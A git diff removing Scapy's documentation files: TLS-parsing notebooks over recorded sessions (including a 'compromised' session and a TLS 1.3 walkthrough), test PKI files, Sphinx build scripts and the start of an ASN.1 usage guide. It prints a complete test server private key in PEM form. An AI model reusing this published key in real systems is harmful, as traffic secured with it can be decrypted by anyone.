- "record3_str = open('raw_data/tls_session_compromised/03_cli.raw').read()\n",
- "record3 = TLS(record3_str, tls_session=record2.tls_session.mirror())\n",
- "record3.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record4_str = open('raw_data/tls_session_compromised/04_srv.raw').read()\n",
- "record4 = TLS(record4_str, tls_session=record3.tls_session.mirror())\n",
- "record4.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record5_str = open('raw_data/tls_session_compromised/05_cli.raw').read()\n",
- "record5 = TLS(record5_str, tls_session=record4.tls_session.mirror())\n",
- "record5.show()"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 2",
- "language": "python",
- "name": "python2"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 2
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython2",
- "version": "2.7.13"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 2
-}
diff --git a/doc/notebooks/tls/notebook4_tls13.ipynb b/doc/notebooks/tls/notebook4_tls13.ipynb
deleted file mode 100644
index 39dbd2d2..00000000
--- a/doc/notebooks/tls/notebook4_tls13.ipynb
+++ /dev/null
@@ -1,143 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# TLS 1.3 handshake overview\n",
- "This is the basic TLS 1.3 handshake:\n",
- "\n",
- "<img src=\"images/handshake_tls13.png\" alt=\"Handshake TLS 1.3\" width=\"400\"/>"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "from scapy.all import *"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- "record1_str = open('raw_data/tls_session_13/01_cli.raw').read()\n",
- "record1 = TLS(record1_str)\n",
- "sess = record1.tls_session\n",
- "record1.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- "record2_str = open('raw_data/tls_session_13/02_srv.raw').read()\n",
- "record2 = TLS(record2_str, tls_session=sess.mirror())\n",
- "record2.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- "record3_str = open('raw_data/tls_session_13/03_cli.raw').read()\n",
- "record3 = TLS(record3_str, tls_session=sess.mirror())\n",
- "record3.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "# The PFS relies on the ECDH secret below being kept from observers, and deleted right after the key exchange\n",
- "#from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers\n",
- "#from cryptography.hazmat.backends import default_backend\n",
- "#secp256r1_client_privkey = open('raw_data/tls_session_13/cli_key.raw').read()\n",
- "#pubnum = sess.tls13_client_pubshares[\"secp256r1\"].public_numbers()\n",
- "#privnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256r1_client_privkey), pubnum)\n",
- "#privkey = privnum.private_key(default_backend())\n",
- "#sess.tls13_client_privshares[\"secp256r1\"] = privkey"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "scrolled": true
- },
- "outputs": [],
- "source": [
- "record4_str = open('raw_data/tls_session_13/04_srv.raw').read()\n",
- "record4 = TLS(record4_str, tls_session=sess.mirror())\n",
- "record4.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- "record5_str = open('raw_data/tls_session_13/05_srv.raw').read()\n",
- "record5 = TLS(record5_str, tls_session=sess)\n",
- "record5.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- "record6_str = open('raw_data/tls_session_13/06_cli.raw').read()\n",
- "record6 = TLS(record6_str, tls_session=sess.mirror())\n",
- "record6.show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Observations sur TLS 1.3\n",
- "* Certificat désormais chiffré...\n",
- "* ...mais pas le Server Name dans le ClientHello\n",
- "* Risques du mode 0-RTT"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 2",
- "language": "python",
- "name": "python2"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 2
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython2",
- "version": "2.7.13"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 2
-}
diff --git a/doc/notebooks/tls/raw_data/pki/ca_cert.der b/doc/notebooks/tls/raw_data/pki/ca_cert.der
deleted file mode 100644
index ff9ea20b..00000000
--- a/doc/notebooks/tls/raw_data/pki/ca_cert.der
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/pki/ca_key.der b/doc/notebooks/tls/raw_data/pki/ca_key.der
deleted file mode 100644
index 675124e9..00000000
--- a/doc/notebooks/tls/raw_data/pki/ca_key.der
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/pki/srv_cert.pem b/doc/notebooks/tls/raw_data/pki/srv_cert.pem
deleted file mode 100644
index e559f326..00000000
--- a/doc/notebooks/tls/raw_data/pki/srv_cert.pem
+++ /dev/null
@@ -1,22 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV
-BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz
-dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN
-MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0
-YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0
-IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu
-8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn
-ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI
-GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw
-vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv
-y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t
-nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O
-BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR
-NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB
-AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus
-tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW
-BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe
-WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ
-KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI
-11nk6boqTrUVD5zQ6gaR2d6r
------END CERTIFICATE-----
diff --git a/doc/notebooks/tls/raw_data/pki/srv_key.pem b/doc/notebooks/tls/raw_data/pki/srv_key.pem
deleted file mode 100644
index 62248e3e..00000000
--- a/doc/notebooks/tls/raw_data/pki/srv_key.pem
+++ /dev/null
@@ -1,28 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY
-DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE
-IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA
-eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC
-lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz
-+j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n
-+CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR
-hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/
-8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD
-eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA
-SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua
-ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX
-Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H
-lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB
-s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq
-E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg
-916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q
-+An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/
-aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52
-83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV
-iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk
-1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG
-RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth
-9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX
-zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU
-u13D93hAM6bzH6Ds5FPUQw==
------END PRIVATE KEY-----
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw
deleted file mode 100644
index 72026944..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw
deleted file mode 100644
index 3c119721..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw
deleted file mode 100644
index b526cd70..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw
deleted file mode 100644
index 469e99d5..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw
deleted file mode 100644
index 03253fcc..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/06_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/06_cli.raw
deleted file mode 100644
index 127631c0..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/06_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/07_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/07_srv.raw
deleted file mode 100644
index 99f5f8dd..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/07_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/08_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/08_cli.raw
deleted file mode 100644
index 7d2a14f1..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/08_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw b/doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw
deleted file mode 100644
index 46873d54..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw
+++ /dev/null
@@ -1 +0,0 @@
-HS؝`6&]9-vmBN \ No newline at end of file
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.raw
deleted file mode 100644
index 1b795921..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.raw
deleted file mode 100644
index 229cb52b..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw
deleted file mode 100644
index ef4ce690..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw
deleted file mode 100644
index f7989555..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw
deleted file mode 100644
index 5093c28c..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw b/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw
deleted file mode 100644
index a9080e84..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw
deleted file mode 100644
index 54191d0b..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw
deleted file mode 100644
index 282b5884..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw
deleted file mode 100644
index 3af6ae2e..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw b/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw
deleted file mode 100644
index 8033eecc..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw
deleted file mode 100644
index 05787298..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw b/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw
deleted file mode 100644
index 133d484b..00000000
--- a/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw
+++ /dev/null
Binary files differ
diff --git a/doc/scapy.1.gz b/doc/scapy.1.gz
deleted file mode 100644
index 042526a5..00000000
--- a/doc/scapy.1.gz
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/BuildDoc.bat b/doc/scapy/BuildDoc.bat
deleted file mode 100644
index 8b81d8c6..00000000
--- a/doc/scapy/BuildDoc.bat
+++ /dev/null
@@ -1,22 +0,0 @@
-@echo off
-title Build scapy docs
-set /P CLEAR=Clear build ? (y/n) [y]
-If /I "%CLEAR%"=="y" goto yes
-If /I "%CLEAR%"=="" goto yes
-If /I "%CLEAR%"=="n" goto no
-
-echo Unknown answer !
-PAUSE
-exit
-
-:yes
-del /F /Q /S _build >nul 2>&1
-echo Build cleared !
-:no
-mkdir _build >nul 2>&1
-cd _build
-mkdir html doctrees pickle >nul 2>&1
-cd ..
-sphinx-build -b pickle -d _build/doctrees . _build/pickle
-sphinx-build -b html -d _build/doctrees . _build/html
-PAUSE
diff --git a/doc/scapy/Makefile b/doc/scapy/Makefile
deleted file mode 100644
index e9c11d06..00000000
--- a/doc/scapy/Makefile
+++ /dev/null
@@ -1,70 +0,0 @@
-# Makefile for Sphinx documentation
-#
-
-# You can set these variables from the command line.
-SPHINXOPTS =
-SPHINXBUILD = sphinx-build
-PAPER =
-
-# Internal variables.
-PAPEROPT_a4 = -D latex_paper_size=a4
-PAPEROPT_letter = -D latex_paper_size=letter
-ALLSPHINXOPTS = -d _build/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
-
-.PHONY: help clean html web pickle htmlhelp latex changes linkcheck
-
-help:
- @echo "Please use \`make <target>' where <target> is one of"
- @echo " html to make standalone HTML files"
- @echo " pickle to make pickle files (usable by e.g. sphinx-web)"
- @echo " htmlhelp to make HTML files and a HTML help project"
- @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
- @echo " changes to make an overview over all changed/added/deprecated items"
- @echo " linkcheck to check all external links for integrity"
-
-clean:
- -rm -rf _build/*
-
-html:
- mkdir -p _build/html _build/doctrees
- $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) _build/html
- @echo
- @echo "Build finished. The HTML pages are in _build/html."
-
-pickle:
- mkdir -p _build/pickle _build/doctrees
- $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) _build/pickle
- @echo
- @echo "Build finished; now you can process the pickle files or run"
- @echo " sphinx-web _build/pickle"
- @echo "to start the sphinx-web server."
-
-web: pickle
-
-htmlhelp:
- mkdir -p _build/htmlhelp _build/doctrees
- $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) _build/htmlhelp
- @echo
- @echo "Build finished; now you can run HTML Help Workshop with the" \
- ".hhp project file in _build/htmlhelp."
-
-latex:
- mkdir -p _build/latex _build/doctrees
- $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) _build/latex
- @echo
- @echo "Build finished; the LaTeX files are in _build/latex."
- @echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \
- "run these through (pdf)latex."
-
-changes:
- mkdir -p _build/changes _build/doctrees
- $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) _build/changes
- @echo
- @echo "The overview file is in _build/changes."
-
-linkcheck:
- mkdir -p _build/linkcheck _build/doctrees
- $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) _build/linkcheck
- @echo
- @echo "Link check complete; look for any errors in the above output " \
- "or in _build/linkcheck/output.txt."
diff --git a/doc/scapy/README b/doc/scapy/README
deleted file mode 100644
index b3433592..00000000
--- a/doc/scapy/README
+++ /dev/null
@@ -1,19 +0,0 @@
-This folder includes source files (text and graphics) for Scapy's documentation,
-which is automatically built using Sphinx <http://sphinx.pocoo.org/>
-
-The *.rst files are written as reStructuredText and should be quite readable
-in your favourite text editor without any further formatting.
-
-To generate much nicer, searchable HTML docs, install Sphinx, open a command
-line, change to the directory where this README is placed, and type the
-following command:
-
- $ make html
-
-To generate a single PDF file (useful for printing) you need a working
-LaTeX installation (e.g. <http://www.tug.org/texlive/>).
-The following commands produce the file Scapy.pdf (>100 pages):
-
- $ make latex
- $ cd _build/latex
- $ make all-pdf \ No newline at end of file
diff --git a/doc/scapy/_static/_dummy b/doc/scapy/_static/_dummy
deleted file mode 100644
index e69de29b..00000000
--- a/doc/scapy/_static/_dummy
+++ /dev/null
diff --git a/doc/scapy/_templates/_dummy b/doc/scapy/_templates/_dummy
deleted file mode 100644
index e69de29b..00000000
--- a/doc/scapy/_templates/_dummy
+++ /dev/null
diff --git a/doc/scapy/advanced_usage.rst b/doc/scapy/advanced_usage.rst
deleted file mode 100644
index 531d4a88..00000000
--- a/doc/scapy/advanced_usage.rst
+++ /dev/null
@@ -1,1088 +0,0 @@
-**************
-Advanced usage
-**************
-
-ASN.1 and SNMP
-==============
-
-What is ASN.1?
---------------
-
-.. note::
-
- This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet.
-
-ASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules.
-
-The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes and signatures.
-
-ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes.
-
-Each of theses objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version.
-
-Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc.
-
-Scapy and ASN.1
----------------
-
-Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite more lax than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those.
-
-ASN.1 engine
-^^^^^^^^^^^^
-
-Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behaviour.
-``
-Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects.
-
-::
-
- class ASN1_Class_UNIVERSAL(ASN1_Class):
- name = "UNIVERSAL"
- # [...]
- BOOLEAN = 1
- INTEGER = 2
- BIT_STRING = 3
- # [...]
-
- class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
- name="SNMP"
- PDU_GET = 0xa0
- PDU_NEXT = 0xa1
- PDU_RESPONSE = 0xa2
-
- class ASN1_Class_X509(ASN1_Class_UNIVERSAL):
- name="X509"
- CONT0 = 0xa0
- CONT1 = 0xa1
- # [...]
-
-All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple::
-
- class ASN1_INTEGER(ASN1_Object):
- tag = ASN1_Class_UNIVERSAL.INTEGER
-
- class ASN1_STRING(ASN1_Object):
- tag = ASN1_Class_UNIVERSAL.STRING
-
- class ASN1_BIT_STRING(ASN1_STRING):
- tag = ASN1_Class_UNIVERSAL.BIT_STRING
-
-These instances can be assembled to create an ASN.1 tree::
-
- >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])])
- >>> x
- <ASN1_SEQUENCE[[<ASN1_INTEGER[7]>, <ASN1_STRING['egg']>, <ASN1_SEQUENCE[[<ASN1_BOOLEAN[False]>]]>]]>
- >>> x.show()
- # ASN1_SEQUENCE:
- <ASN1_INTEGER[7]>
- <ASN1_STRING['egg']>
- # ASN1_SEQUENCE:
- <ASN1_BOOLEAN[False]>
-
-Encoding engines
-^^^^^^^^^^^^^^^^^
-
-As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec.
-
-Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type::
-
- >>> BERcodec_INTEGER.enc(7)
- '\x02\x01\x07'
- >>> BERcodec_BIT_STRING.enc("egg")
- '\x03\x03egg'
- >>> BERcodec_STRING.enc("egg")
- '\x04\x03egg'
- >>> BERcodec_STRING.dec('\x04\x03egg')
- (<ASN1_STRING['egg']>, '')
- >>> BERcodec_STRING.dec('\x03\x03egg')
- Traceback (most recent call last):
- File "<console>", line 1, in ?
- File "/usr/bin/scapy", line 2099, in dec
- return cls.do_dec(s, context, safe)
- File "/usr/bin/scapy", line 2178, in do_dec
- l,s,t = cls.check_type_check_len(s)
- File "/usr/bin/scapy", line 2076, in check_type_check_len
- l,s3 = cls.check_type_get_len(s)
- File "/usr/bin/scapy", line 2069, in check_type_get_len
- s2 = cls.check_type(s)
- File "/usr/bin/scapy", line 2065, in check_type
- (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s)
- BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting <ASN1Tag STRING[4]>
- ### Already decoded ###
- None
- ### Remaining ###
- '\x03\x03egg'
- >>> BERcodec_Object.dec('\x03\x03egg')
- (<ASN1_BIT_STRING['egg']>, '')
-
-ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``raw()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used.
-
-::
-
- >>> x.enc(ASN1_Codecs.BER)
- '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
- >>> raw(x)
- '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
- >>> xx,remain = BERcodec_Object.dec(_)
- >>> xx.show()
- # ASN1_SEQUENCE:
- <ASN1_INTEGER[7L]>
- <ASN1_STRING['egg']>
- # ASN1_SEQUENCE:
- <ASN1_BOOLEAN[0L]>
-
- >>> remain
- ''
-
-By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context!
-
-::
-
- >>> cert="""
- ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC
- ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB
- ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg
- ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw
- ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB
- ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg
- ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh
- ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
- ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs
